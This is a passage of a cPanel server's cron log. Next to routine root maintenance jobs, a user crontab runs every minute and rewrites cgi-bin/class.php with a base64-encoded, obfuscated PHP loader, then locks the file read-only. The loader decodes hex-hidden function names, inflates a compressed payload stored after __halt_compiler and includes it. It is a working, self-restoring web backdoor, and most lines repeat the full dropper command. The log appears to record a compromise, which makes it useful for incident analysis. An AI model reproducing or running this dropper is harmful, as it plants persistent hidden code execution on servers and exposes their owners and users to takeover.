QKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:59:01 server CROND[23809]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:00:01 server CROND[23872]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  7 10:00:01 server CROND[23873]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 10:00:01 server CROND[23874]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 10:00:01 server CROND[23878]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:00:01 server CROND[23876]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 10:01:01 server CROND[24004]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:01:01 server CROND[24005]: (root) CMD (run-parts /etc/cron.hourly)
Apr  7 10:01:01 server run-parts(/etc/cron.hourly)[24005]: starting 0anacron
Apr  7 10:01:01 server run-parts(/etc/cron.hourly)[24018]: finished 0anacron
Apr  7 10:02:01 server CROND[24167]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:03:01 server CROND[24225]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:04:01 server CROND[24284]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:05:01 server CROND[24342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:05:01 server CROND[24343]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 10:05:01 server CROND[24344]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 10:05:01 server CROND[24345]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 10:06:01 server CROND[24462]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:07:01 server CROND[24606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:08:01 server CROND[24663]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:09:01 server CROND[24725]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:09:01 server CROND[24726]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 10:10:01 server CROND[24781]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 10:10:01 server CROND[24782]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 10:10:01 server CROND[24783]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:10:01 server CROND[24784]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 10:11:01 server CROND[24899]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:12:01 server CROND[24995]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 